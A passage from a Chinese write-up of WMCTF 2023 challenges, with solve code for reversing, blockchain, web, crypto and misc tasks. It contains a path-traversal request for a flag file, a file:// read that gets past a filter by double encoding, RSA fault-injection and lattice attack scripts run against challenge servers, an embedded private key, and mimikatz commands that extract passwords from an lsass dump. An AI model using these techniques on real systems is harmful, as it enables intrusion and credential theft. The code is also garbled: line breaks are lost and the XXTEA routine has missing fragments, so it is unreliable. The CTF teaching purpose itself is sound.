,0xe4,0x8b,0x32,0xd9,0x80,0x27,0xce,0x75,0x1c,0xc3,0x6a,0x11,0xb8,0x5f,0x6,0xad,0x54,0xfb,0xa2,0x49,0xf0,0x97,0x3e,0xe5,0x8c,0x33,0xda,0x81,0x28,0xcf,0x76,0x1d,0xc4,0x6b,0x12,0xb9,0x60,0x7,0xae,0x55,0xfc,0xa3,0x4a,0xf1,0x98,0x3f,0xe6,0x8d,0x34,0xdb,0x82,0x29,0xd0,0x77,0x1e,0xc5,0x6c,0x13,0xba,0x61,0x8,0xaf,0x56,0xfd,0xa4,0x4b,0xf2,0x99,0x40,0xe7,0x8e,0x35,0xdc,0x83,0x2a,0xd1,0x78,0x1f,0xc6,0x6d,0x14,0xbb,0x62,0x9,0xb0,0x57,0xfe,0xa5,0x4c,0xf3,0x9a};//在一行上进位移 void rotWord(unsigned char temp[]) {    int i,k=temp[0];    for(i=1;i<4;i++)        temp[i-1]=temp[i];    temp[3]=k;}//在一行上进行s盒替换 void subWord(unsigned char temp[]) {    int i;    for(i=0;i<4;i++)        temp[i]=SBOX[temp[i]];}//密钥扩展,最终得到Nr+1个轮密钥,用于轮次加密 void keyExpansion(){    int i,j;    unsigned char temp[5];    memset(RoundKey,0,sizeof(RoundKey));    for(i=0;i<Nk;i++){        for(j=0;j<4;j++){            RoundKey[i*4+j]=Key[i*4+j];        }    }    while(i<(Nb*(Nr+1))){        for(j=0;j<4;j++){            temp[j]=RoundKey[(i-1)*4+j];        }        if(i%Nk==0){            rotWord(temp);            subWord(temp);            temp[0]^=Rcon[i/Nk];        }        for(j=0;j<4;j++)            RoundKey[i*4+j]=RoundKey[(i-Nk)*4+j]^temp[j];        i++;    }}//轮密钥加函数,将明文加密状态与轮密钥简单异或 void addRoundKey(int round){    int i,j;    for(i=0;i<4;i++){        for(j=0;j<4;j++){            state[i][j]^=RoundKey[round*Nb*4+i*Nb+j];        }    }}//s盒替换函数 void subBytes(){    int i,j;    for(i=0;i<4;i++){        for(j=0;j<4;j++){            state[i][j]=SBOX[state[i][j]];        }    }}//逆s盒替换函数 void invSubBytes(){    int i,j;    for(i=0;i<4;i++){        for(j=0;j<4;j++){            state[i][j]=R_SBOX[state[i][j]];        }    }}//行位移函数 void shiftRows(){    int i,j,k;    int shiftnum=1;    unsigned char tmp;    for(j=1;j<4;j++){        for(i=0;i<shiftnum;i++){            tmp=state[0][j];            for(k=0;k<3;k++)                state[k][j]=state[k+1][j];            state[3][j]=tmp;        }        shiftnum++;    }}//逆行位移函数 void invShiftRows(){    int i,j,k;    int shiftnum=1;    unsigned char tmp;    for(j=1;j<4;j++){        for(i=0;i<shiftnum;i++){            tmp=state[3][j];            for(k=3;k>0;k--)                state[k][j]=state[k-1][j];            state[0][j]=tmp;        }        shiftnum++;    }}//列混淆函数 #define xtime(x)   ((x<<1) ^ (((x>>7) & 1) * 0x1b))void mixColumns(){    int i,j;    unsigned char tmp,t,p;    for(i=0;i<4;i++){        p=state[i][0];        tmp=state[i][0]^state[i][1]^state[i][2]^state[i][3];        for(j=0;j<3;j++){            t=state[i][j]^state[i][j+1];            t=xtime(t);            state[i][j]^=t^tmp;        }        t=state[i][3]^p;t=xtime(t);state[i][3]^=t^tmp;    }}//逆列混淆函数 #define Multiply(x,y) (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))void invMixColumns(){    int i;    unsigned char a,b,c,d;    for( i=0; i<4; i++)    {           a = state[i][0];        b = state[i][1];        c = state[i][2];        d = state[i][3];        state[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);        state[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);        state[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);        state[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);    }}//aes加密函数,key为密钥,input为需要加密的128位明文,output为输出128位密文 void aes_enc(unsigned char*key,unsigned char *input,unsigned char*output){    int i,j,round=0;    memset(Key,0,sizeof(Key));    for(i=0;i<Nk*4;i++){        Key[i]=key[i];    }    keyExpansion();    memset(state,0,sizeof(state));    for(i=0;i<4;i++){        for(j=0;j<4;j++)            state[i][j]=input[i*4+j];    }    addRoundKey(0);    for(round=1;round<Nr;round++){        subBytes();        shiftRows();        mixColumns();        addRoundKey(round);    }    subBytes();    shiftRows();    addRoundKey(Nr);    for(i=0;i<4;i++){        for(j=0;j<4;j++)            output[i*4+j]=state[i][j];    }}//aes解密函数,key为密钥,input为需要解密的128位密文,output为输出128位明文void aes_dec(unsigned char*key,unsigned char*input,unsigned char*output){    int i,j,round=0;    memset(Key,0,sizeof(Key));    for(i=0;i<Nk*4;i++){        Key[i]=key[i];    }    keyExpansion();    memset(state,0,sizeof(state));    for(i=0;i<4;i++){        for(j=0;j<4;j++)            state[i][j]=input[i*4+j];    }    addRoundKey(Nr);    for(round=Nr-1;round>0;round--){        invSubBytes();        invShiftRows();        addRoundKey(round);        invMixColumns();    }    invSubBytes();      invShiftRows();    addRoundKey(0);    for(i=0;i<4;i++){        for(j=0;j<4;j++)            output[i*4+j]=state[i][j];    }}void gets_t(unsigned char*str){    char fin_input;    scanf("%66s",str);    do        fin_input=getchar();    while(fin_input!='n');}int main(){    unsigned char key[17]={82,101,95,49,115,95,101,97,83,121,49,50,51,52,53,54};    unsigned char input[17]="1111222233334444";    unsigned char enc[17]={43,200,32,139,92,13,167,155,42,81,58,210,113,113,202,80,};    unsigned char dec[17]={0};    printf("enc-----n");    //aes_enc(key,input,enc);    for(int i=0;i<16;i++)    {    //  printf("0x%x,",enc[i]);     }      printf("dec-----n");    aes_dec(key,enc,dec);    for(int i=0;i<16;i++)    {        printf("%c",dec[i]);     }     return 0;}
WMCTF 2023 Writeup

02

RightBack

python代码中有很多的花指令 

但是都是同一种形式的 

写个脚本替换为NOP指令就可以

fd = open("RightBack.pyc","rb").read()indexs = []buf = bytearray(fd)search_pattern = b'x6ex00x6ex04'        index = fd.find(search_pattern)while index != -1:    #print("Found at index:", index)    indexs.append(index)    index = fd.find(search_pattern, index + len(search_pattern))for i in indexs:    buf[i:i+8] = bytes([9,0,9,0,9,0,9,0])search_pattern = b'x6ex02'        index = fd.find(search_pattern)indexs = []while index != -1:    #print("Found at index:", index)    indexs.append(index)    index = fd.find(search_pattern, index + len(search_pattern))for i in indexs:    buf[i:i+4] = bytes([9,0,9,0,])buf = bytes(buf)import marshalsample =marshal.loads(buf[16:])  import distry:    dis.dis(sample)except:    passopen("dump.pyc","wb").write(buf)

然后反编译成功后VM 的while循环结构有些问题 

根据具体字节码逆向出来

然后使用z3约束求解就可以

key=[1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789, 546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]def enc(cin1,cin2,key):    cnt = 0     eax = cin1     ebx = cin2    ecx = 0     #print("round",cnt,eax,ebx)    eax+=key[ecx]    eax&=0xffffffff    ecx = 1    ebx+=key[ecx]    ebx&=0xffffffff    #print("round",cnt,eax,ebx)    while(1):        cnt+=1        eax^=ebx        #print("round",cnt,eax,ebx)        ecx = eax        r8 = ebx        ebx &= 31        eax<<=ebx        eax&=0xffffffff        #print("round",cnt,eax,ebx)        edx = 32 - ebx        ecx>>=edx        eax |=ecx        #print("round",cnt,eax,ebx)        #eax循环左移 ebx个        eax+=key[cnt*2]        eax&=0xffffffff        #print("round",cnt,eax,ebx)        ###########        ebx = r8        ebx^=eax        ecx = ebx        edx = eax        edx &=31        ebx<<=edx        r8 = 32-edx        ecx>>=r8        ebx|=ecx        ebx+=key[2*cnt+1]        ebx&=0xffffffff        #print("round",cnt,eax,ebx)        if(cnt==21):            break    return eax,ebxfrom Crypto.Util.number import *out1,out2= enc(825307441,825307441,key)print(out1,out2)# round 0 825307441 825307441# round 0 1919631470 4998030818# round 1 5830911372 4998030818# round 1 1848809008 2# round 1 1848809013 2# round 1 1549280757 2# round 1 1549280757 3250967850mmm=[70971958, 1454480124, 4145947100, 3683618452, 1295312797, 2622622830, 4227519997, 855210028, 3149806017, 3649402294, 687393912, 2766439826, 247296709, 2944897322, 2347888534, 375443730]from z3 import *S = Solver()x = [BitVec("x[%d]"%i,33) for i in range(16)]dec = [0]*16for i in range(8):    if(i>0):        x[2*i] ^= mmm[2*i-2]        x[2*i+1] ^= mmm[2*i-2+1]    dec[2*i],dec[2*i+1] = enc(x[i*2],x[i*2+1],key)for i in range(16):    S.add(dec[i]==mmm[i])#print(o1,o2)#1633771874 1633771873#, S.check()ans = S.model()print(ans)x[4] = 1730238768x[13] = 829583920x[10] = 1667974770x[15] = 1461789053x[9] = 1752449633x[14] = 1914787663x[8] = 559049063x[2] = 811877750x[7] = 812462881x[0] = 1464681300x[12] = 1633905485x[11] = 1869431345x[6] = 1098343795x[1] = 1182484272x[5] = 1967223397x[3] = 862873966for i in x:    print(long_to_bytes(i))
WMCTF 2023 Writeup

03

gohunt

动态调试程序

发现程序首先对输入的字符串进行填补 

并进行XXTEA加密

加密后与一个字符串进行异或

加密过后转换为大段序 

进行大整数除法 除0x3A 余数作为索引输出

逆向即可

cin = "0000111122223333444455556666777788889999"xor_data=[  0x4E, 0x50, 0x57, 0x72, 0x70, 0x64, 0x31, 0x43, 0x45, 0x4A,   0x48, 0x32, 0x51, 0x63, 0x4A, 0x33]after = [ 0x46, 0x93, 0x1D, 0xE3, 0xE2, 0x98, 0x7C, 0x7A, 0xF1, 0x98,   0x48, 0xC1, 0x5C, 0xB1, 0xFB, 0xA4, 0x53, 0xD3, 0x24, 0x34,   0x37, 0x15, 0xE7, 0x14, 0x46, 0x9A, 0x83, 0xDA, 0x3A, 0x23,   0x8E, 0x20, 0x31, 0x7F, 0x63, 0xF7, 0x91, 0xE2, 0x39, 0xBA,   0xE1, 0x32, 0x61, 0x28]# for i in range(len(after)):#     print(hex(after[i]^xor_data[i%16]),end=',')def hex2number(cin):    return int(cin,16)def little(cin):    tmp = bytes.fromhex(cin)[::-1].hex()    return int(tmp,16)t1 = "286132E1BA39E291F7637F31208E233ADA839A4614E715373424D353A4FBB15CC14898F17A7C98E2"m1 = little(t1)//0x3aprint(hex(m1))data=0x1A7B9611A7B9611Atable = "nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj"#final"""f3 20 41 10 cb 56 8c 5c 09 0c 72 fd d9 d7 54 00 7c d7 b0 09 f1 44 5f 7f e0 75 db 76 71 41 fe a0 f0 24 71 d6 60 01 14 42 69 37 04 8c 1967 02 01 de 49 90 50 40 18 58 71 c9 c0 3a bf 04 59 dd 6d 71 f8 ff d1 51 c6 70 2c 5f 31 c0 51 d7 76 f4 b1 c3 27 01 63 5a d3 04 04 1c bc"""table = "nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj"out = "YMQHsYFQu7kkTqu3Xmt1ruYUDLU8uaMoPpsfjqYF4TQMMKtw5KF7cpWrkWpk3"cin = 0x36ABB52338C8FC69result = 0xF14E2854D753CCyu = 0x31# while(cin>=0x3a):#     yu = cin%0x3a#     cin//=0x3a#     #print(hex(cin))#     print(table[yu],end='')# print(table[cin])tmp1 = outsum = 0for i in tmp1:    yu = table.index(i)    if(sum == 0):        sum +=yu    else:        sum = sum*0x3a+yuprint(hex(sum))cin=bytes.fromhex("db27eeea98b6a74f5ea68eb2a763006b50f6ddc32b2649f0bbfe014080a770f679b0cd8d2006fd4fd548262e")arr=[cin[i]^xor_data[i%len(xor_data)] for i in range(len(cin))]import structarr_bytes= bytes(arr)print(len(arr_bytes))enc =[struct.unpack('<I', bytes(arr_bytes[i:i+4]))[0] for i in range(0,44,4)]print(enc)

xxtea解密

#include <stdio.h>  #include <stdlib.h>  #include <string.h>  #define MX (z>>5^y<<2) + (y>>3^z<<4)^(sum^y) + (k

^z);  long btea(long* v, long n, long* k) {      unsigned long z=v[n-1], y=v[0], sum=0, e, DELTA=0x9e3779b9;      long p, q ;      if (n > 1) {          /* Coding Part */          q = 6 + 52/n;          while (q-- > 0) {              sum += DELTA;              e = (sum >> 2) & 3;              for (p=0; p<n-1; p++) y = v

, z = v

+= MX;              y = v[0];              z = v[n-1] += MX;          }          return 0 ;      } else if (n < -1) {  /* Decoding Part */          n = -n;          q = 6 + 52/n;          sum = q*DELTA ;          while (sum != 0) {              e = (sum >> 2) & 3;              for (p=n-1; p>0; p--) z = v

, y = v

-= MX;              z = v[n-1];              y = v[0] -= MX;              sum -= DELTA;          }          return 0;      }      return 1;  }  void main() {      long n = 10;      unsigned long k[4] = {0x32544D46, 0x4845435A, 0x63703653, 0x52324466};     unsigned int cin[20]={ 2562291605, 211210984, 2160520219, 1481244918, 2978653726, 3011002971, 1917433086, 3308963025, 4288340023, 214721104, 476971664};    btea(cin,-11,k);    printf("%s",cin);}

WMCTF 2023 Writeup

BlockChain

WMCTF 2023 Writeup

01

babyblock

remix测试一下,发现要猜的数字很小

而且很容易就猜对,但是禁用了metamask

让gpt生成一个脚本直接打

from web3 import Web3# 连接到以太坊节点的 RPC URLrpc_url = "http://43.132.224.5:8545/"  # 替换为实际的 RPC URLweb3 = Web3(Web3.HTTPProvider(rpc_url))# 合约地址和 ABIcontract_address = "0x62c35b7c06606928d6fF716C3D21C07D75617FA8"  # 替换为实际的合约地址contract_abi ="""[    {        "inputs": [],        "payable": false,        "stateMutability": "nonpayable",        "type": "constructor"    },    {        "constant": false,        "inputs": [            {                "internalType": "uint256",                "name": "_num",                "type": "uint256"            }        ],        "name": "guessNumber",        "outputs": [],        "payable": false,        "stateMutability": "nonpayable",        "type": "function"    },    {        "constant": true,        "inputs": [],        "name": "isSolved",        "outputs": [            {                "internalType": "bool",                "name": "",                "type": "bool"            }        ],        "payable": false,        "stateMutability": "view",        "type": "function"    },    {        "constant": true,        "inputs": [],        "name": "secretNumber",        "outputs": [            {                "internalType": "uint256",                "name": "",                "type": "uint256"            }        ],        "payable": false,        "stateMutability": "view",        "type": "function"    },    {        "constant": true,        "inputs": [],        "name": "solved",        "outputs": [            {                "internalType": "bool",                "name": "",                "type": "bool"            }        ],        "payable": false,        "stateMutability": "view",        "type": "function"    }]"""# 获取合约实例contract = web3.eth.contract(address=contract_address, abi=contract_abi)# 调用合约的 guessNumber 方法num_to_guess = 6  # 替换为你想要猜测的数字transaction = contract.functions.guessNumber(num_to_guess).buildTransaction({    'nonce':1,    'from': '0xceb32Ad69ed0C565FEac192DfcAAfCd67279360e',  # 替换为你自己的以太坊账户地址    'gas': 200000,  # 替换为适当的 gas 数量    'gasPrice': web3.toWei('1000000007', 'wei')  # 替换为适当的 gas 价格})# 签名交易private_key = "7078eb49a5672f7b5b7826124292879477981fe6787001553aab40e00370fee4"  # 替换为你自己的以太坊账户私钥signed_txn = web3.eth.account.signTransaction(transaction, private_key)# 发送签名后的交易并获取交易哈希tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)# 检查交易是否成功被确认if tx_receipt['status'] == 1:    print("Transaction successful!")else:    print("Transaction failed.")
WMCTF 2023 Writeup

WEB

WMCTF 2023 Writeup

01

AnyFileRead

import requestsr = requests.get(url="http://43.132.224.5:8888/admin/.//%2e./%2e./flag")print(r.text)
WMCTF 2023 Writeup

02

ez_java_agagin

进入页面

WMCTF 2023 Writeup

啥功能都没,扫也没扫出来什么

查看源码

WMCTF 2023 Writeup

两个url参数,第一个url只能读图片

第二个没有java后缀或者有flag这个字符均会被过滤

WMCTF 2023 Writeup

最后是使用伪协议直接读,二次编码绕过过滤

?url1=file:///fla%2567%23java
WMCTF 2023 Writeup

CRYPTO

WMCTF 2023 Writeup

01

signin

  • 深度搜索+剪枝恢复p

import gmpy2from Pwn4Sage.pwn import *from Crypto.Util.number import *from factordb.factordb import FactorDBsys.setrecursionlimit(5000)def findp(p, q):    global PP    if len(p) == 512:        pp = int(p, 2)        if N % pp == 0:            PP = pp            print(pp)            print(N // pp)            raise    else:        l = len(p)        pp = int(p, 2)        qq = int(q, 2)        if (pp ^^ (qq >> 16)) % (2 ** l) == gift % (2 ** l) and pp * qq % (2 ** l) == N % (2 ** l):            findp('1' + p, '1' + q)            findp('1' + p, '0' + q)            findp('0' + p, '1' + q)            findp('0' + p, '0' + q)while True:    sh = remote('1.13.101.243', 26040)    sh.recvuntil(b""".`^","^`'.""")    sh.recvline()    sh.recvline()    N = int(sh.recvline())    gift = int(sh.recvline())    print(N)    print(gift)    PP = 0    for q_low in range(2**16+1, 2 ** 17):        try:            findp('1', bin(q_low)[2:])        except:            break    p = PP    if p:        print('find p: ', p)        sh.sendline(str(p).encode())        q = p        A = eval(sh.recvline())        b = eval(sh.recvline())        print(A)        print(b)        LEN = len(b)        M = matrix(LEN+2, LEN+2)        INV = inverse_mod(2^16, q)        AA = [(i*INV)%q for i in A]        BB = [(i*INV)%q for i in b]        for i in range(LEN):            M[0, i+2] = AA[i]            M[1, i+2] = BB[i]            M[i+2, i+2] = q        M[0, 0] = 1        M[1, 1] = 2^511        t = 16        Q = diagonal_matrix([1,2^17]+[2^t for _ in range(LEN)])        M_ = M*Q        M_ = M_.LLL()        M_ = M_/Q            for line in M_:            if abs(line[1]) == 2^511:                m = abs(line[0])                results = [(bi * m) % q for bi in A]                rs = [ri & (2 ** 16 - 1)  for ri in results]                print(rs)                print(m)                if rs == b:                    print('yes')                    print('yes')                    print('yes')                    print(m)                    sh.sendline(str(m).encode())                    sh.interactive()  # wmctf{we1c0me_brOo0Oo!hope_y0u_h4v3_fun_iN_the_fTcmWWmcTf/}
WMCTF 2023 Writeup

02

welcomesigner2

  • 从后往前递推,利用每次$A_i mod n$与 $A_i mod n_$ 是否一致来逐位确定d

因为不知道d长度,所以需要猜。

故脚本需要多次运行,才可能得解

import gmpy2from pwn import *from hashlib import md5from Crypto.Cipher import AESfrom Crypto.Util.number import *sh = remote("1.13.101.243", 27812)sh.sendlineafter(b'[Q]uit', b'g')n = int(sh.recvline_contains(b'n =').split(b'n = ')[-1])enc = sh.recvline_contains(b'flag_ciphertext =').split(b'flag_ciphertext =')[-1]print(enc)enc = bytes.fromhex(enc.decode())sh.sendlineafter(b'[Q]uit', b's')sh.sendlineafter(b'Where your want to interfere:', b'1')sig = int(sh.recvline().split(b'is ')[-1])def find_prime_n_(n):    for index in range(1024):        for temp in range(256):            assert 0<= int(temp) <=255            assert 0<= int(index) <= 1023            n_ = n ^ (int(temp)<<int(index))            if gmpy2.is_prime(n_) and n_ > n:                b_i = f"{temp},{index}"                print('[+] find prime n_')                print(b_i)                return b_ib_i = find_prime_n_(n)sh.sendlineafter(b'[Q]uit', b'f')sh.sendlineafter(b'bytes, and index:', b_i.encode())n_ = int(sh.recvline().split(b'"')[1])d = '1'msg = bytes_to_long(b"Welcome_come_to_WMCTF")BS = [msg]d_len = 1022for i in range(d_len-1):    BS.append(BS[-1]**2 % n)for index in range(2, d_len):    sh.sendlineafter(b'[Q]uit', b's')    sh.sendlineafter(b'Where your want to interfere:', str(index).encode())    A = sig    tmp_A = int(sh.recvline().split(b'is ')[-1])    tmp_BS = [_ for _ in BS[:d_len-index]]    for _ in range(index):        tmp_BS.append(tmp_BS[-1]**2%n_)    assert len(tmp_BS) == d_len    for i in range(len(d)):        if int(d[i]):            tmp_A = (tmp_A * gmpy2.invert(tmp_BS[d_len-1-i], n_)) % n_            A = (A * gmpy2.invert(BS[d_len-1 - i], n)) % n    d += str(int(A != tmp_A))    print('[+] d =', d)

d最低位为1

from hashlib import md5from Crypto.Cipher import AESdef decrypt(enc,key):    key = bytes.fromhex(md5(str(key).encode()).hexdigest())    dec = AES.new(key,mode=AES.MODE_ECB)    m   = dec.decrypt(enc)    return menc = ' 11964df59bb0dcf71595524dc0808dd6774d105c36c6a7b7fb6086c60c98a7cc8b5d10f2b81e7ea07d622a4b38af800d'enc = bytes.fromhex(enc)d = '1111101010101101001100010011000101011110110111010000011100001001100011111000010001010111010000101110011111000111000001000100010111111011000111111011000010110101011100101011110111000111111100011110010011111100100100111011001110011011011010000100110000010111101010010101110001001000000011001100111111110100011001100010101011111001001000101000001010101011100100010000011000000011001100111100001010110110101010000011100001011010000110110101101001011011100001000000110100101111101001000010011010111111000011101001110111010110110001001011000101001000111101011101100010000101010100010011010101111111111100100110000111110100001000000010111011000001000010001111000100011110111101101010001010101010101001100000000110110100110110010101111010011011010111000111101001001100001111000011100110000000001100011010100101000100101110100110101001011100101001101011110000001111010101001100001011100000111101001000100110110011001101010001001100011101101001011011001101001010101001011001001111011001011010100111111110110011111001010101101000000'print(decrypt(enc, int(d+'1', 2)))  # WMCTF{F4u1t_1nj3ct1on_1n_RS4*&iu2726457}
WMCTF 2023 Writeup

03

badprime

根据题目信息将M输入进去

输进去后可以获得p_leak

WMCTF 2023 Writeup

p=p_leak+k*M
经过观察可以发现,k_bit非常小

可以通过一元copper进行攻击

# @File    : exp.pyM=p_leak=c=n=P.<k>=PolynomialRing(Zmod(n))f=x+k*Mk=f.monic().small_roots(X=2**54,beta=0.4)[0]p=k*M+p_leakq=n//ZZ(p)e=65537d=inverse_mod(e,(p-1)*(q-1))m=hex(pow(c,d,n))[2:]print(bytes.fromhex(m))
WMCTF 2023 Writeup

04

welcome_signer1

中国剩余定理的运用

代码跑的很久,得跑几十分钟

from pwn import *from functools import reduceimport gmpy2from Crypto.Util.number import *from tqdm import *def le(c,p):    t=pow(c,(p-1)//2,p)    if t==1:        return True    else:return Falsedef quadratic_residues(_c, _p):    return pow(_c, (_p + 1) // 4, _p)def find_prime_n_(n):    for index in range(1024):        for temp in range(256):            assert 0<= int(temp) <=255            assert 0<= int(index) <= 1023            n_ = n ^ (int(temp)<<int(index))            if gmpy2.is_prime(n_) and n_ > n and n_%4==3:                b_i = f"{temp},{index}"                print('[+] find prime n_')                print(b_i)                return b_idef chinese_remainder(n, a):#前面是模    sum = 0    prod = reduce(lambda a, b: a * b, n)    for n_i, a_i in zip(n, a):        p = prod // n_i        sum += a_i * gmpy2.invert(p, n_i) * p    return int(sum % prod)msg = bytes_to_long(b"Welcome_come_to_WMCTF")def solve(A,A1,n,n1,d):    for i in range(len(d)):        if d[i]=='1':            A1 = A1 * msgn1 % n1        A1=quadratic_residues(A1,n1)        if le(A1,n1)==False:A1=n-A1    A1_=A1*msgn1%n1    A_ = A * msgn % n    A2=chinese_remainder([n,n1],[A_,A1_])    for i in range(12):        tmp=gmpy2.iroot(A2+i*n*n1,2)        if tmp[1]==True:            A=tmp[0]            return A,d+'1'    A2=chinese_remainder([n,n1],[A,A1])    for i in range(12):        tmp=gmpy2.iroot(A2+i*n*n1,2)        if tmp[1]==True:            A=tmp[0]            return A,d+'0'r=remote("1.13.101.243",25333)r.recvuntil(b"|  [Q]uitn")r.sendline(b"g")N=eval(r.recvline()[6:].strip().decode())print(N.bit_length())enc_flag=r.recvline()[20:].strip().decode()b_=find_prime_n_(N)r.recvuntil(b"|  [Q]uitn")r.sendline(b"s")r.sendlineafter(b"Where your want to interfere:",b'0')A=eval(r.recvline()[42:].strip().decode())print("A获取完成")r.recvuntil(b"|  [Q]uitn")r.sendline(b"f")r.sendlineafter(b"bytes, and index:",b_.encode())N_=eval(r.recvline()[21:].strip().decode()[:-1])msgn1=inverse(msg, N_)msgn=inverse(msg, N)assert isPrime(N_)print("前序工作完成")d=''for i in trange(0,1023):    r.recvuntil(b"|  [Q]uitn")    r.sendline(b"s")    index=i+1    r.sendlineafter(b"Where your want to interfere:",str(index).encode())    A1=eval(r.recvline()[42:].strip().decode())    A,d=solve(A,A1,N,N_,d)    if i>1000:        print(d)        print(enc_flag)r.interactive()from Crypto.Util.number import *from Crypto.Cipher import AESfrom hashlib import md5import itertoolsdef decrypt(message,key):    key = bytes.fromhex(md5(str(key).encode()).hexdigest())    enc = AES.new(key,mode=AES.MODE_ECB)    c   = enc.decrypt(message)    return cd=''key=int(d[::-1],2)m=bytes.fromhex("")flag=decrypt(m,key)print(flag)
WMCTF 2023 Writeup

MISC

WMCTF 2023 Writeup

01

oversharing

WMCTF 2023 Writeup

文件中有lsass.DMP 

使用 mimikatz 进行提取用户密码

导出 lsass.DMP 修改文件名为 lsass.dmp 

并使用 mimikatz x64 载入

sekurlsa::minidump lsass.dmpsekurlsa::logonpasswords full
WMCTF 2023 Writeup

获得 ssh 的用户名与密码

* Domain   : ssh@192.168.20.202:22/randark* Password : 1a05cf83-e450-4fbf-a2a8-b9fd2bd37d4ecat flagWMCTF{9f1690f4-7b41-429f-a243-505997079997}
WMCTF 2023 Writeup
WMCTF 2023 Writeup

02

Fantastic terminal

非预期解,在 out.warms 中读取flag

WMCTF 2023 Writeup

WMCTF{fanta3t1c_term1nal_1n_the_c0nta1ner_1n_the_br0w3er}

WMCTF 2023 Writeup

03

Fantastic terminal Rev

此题修复了之前的可以直接从 out.warms 读取flag

docker build -t wmctf . docker run -it wmctf 

启动终端后

cd challengebase64 challenge因为要获取challenge这个文件,但是直接cat字符编码是错误的,最好是将源文件可以完整保存下来f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBEAAAAAAABAAAAAAAAAAEAxAAAAAAAAAAAAAE......AAAAAAAAAAAAAAAAAA==

base64 解码后将 challenge 在IDA中进行反编译

动态调试获得flag

![`)I8H69}K3@TWTZ)(7C76(0.png](WMCTF-2023-Writeup/1692585251475-713e3dc8-1867-4fc6-942b-ee5ce921975b.png)

WMCTF{r3venge_terminal_after_fuck1ng_paatchhhhhhhhhhhhh}

WMCTF 2023 Writeup

04

find me

https://www.reddit.com/user/WearyMeadow/comments/15u7773/hello/

https://ufile.io/670unszp

根据提示拿到加密流量。

WMCTF 2023 Writeup

根据出题人的id搜到github

WMCTF 2023 Writeup

拿这个密码登录即可

给了个服务端和客户端交互的加密通信脚本

自己根据加密逻辑来解密

加密逻辑:

def encrypt(message, key):    seed  = random.randint(0,11451)    random.seed(seed)    encrypted = b''    for i in range(len(message)):        encrypted += bytes([message[i] ^ random.randint(0, 255)])    cipher = AES.new(key, AES.MODE_ECB)    encrypted = cipher.encrypt(pad(encrypted))    return encrypted

首先这里有个seed 随机0-11451

重点是下面异或加密字符串时候每个字符都是不同的异或key,随机0-255

但是用到了seed,如果seed值知道的话,那么异或key是固定的顺序和值根据这个逻辑就清楚了我们需要遍历所有的seed 0-11451,拿到所有的异或key的序列

(但其实是拿不到所有的,因为加密字符串长度不同,异或key的值也不同,所以需要知道加密字符串的长度)

解密脚本

import socketimport randomfrom Crypto.Cipher import AESfrom sys import argvdef pad(s):    return s + b"" * (AES.block_size - len(s) % AES.block_size)all_list = [] #所有异或key序列 for seed in range(0,11451): #遍历seed值来记录固定长度下所有异或key的序列    random.seed(seed)    list1 = []    for i in range(48):  #这里的值是加密字符的长度        a = random.randint(0, 255)        list1.append(a)    all_list.append(list1)key = pad(b'mysecretkey')cip = '''778f6cc13090c6a4f0b51939d784a6b38512f80a92b82bf8225fb8bfed713b2f8eee53dfbe228c7296449d904467a1677c83b9534e2dfcfcbc6f7b08f77f96f2'''for j in range(0,11451): #遍历不同seed值的不同异或key    print(j)    use_list = all_list[j]    def decrypt(ciphertext, key):        cipher = AES.new(key, AES.MODE_ECB)        decrypted = cipher.decrypt(ciphertext)        decrypted = decrypted.rstrip(b"")        # print(len(decrypted))        decrypted = bytes([decrypted[i] ^ use_list[i] for i in range(len(decrypted))]) #对应异或解密        return decrypted    re = decrypt(bytes.fromhex(cip), key)    print(re)

这里的加密字符串长度如何知道? 脚本中先输出

bytes.fromhex(cip)print(len(decrypted))

每次通讯需要分别解密

WMCTF 2023 Writeup
WMCTF 2023 Writeup
WMCTF 2023 Writeup

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

WMCTF 2023 Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月29日00:34:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WMCTF 2023 Writeuphttps://cn-sec.com/archives/1975422.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息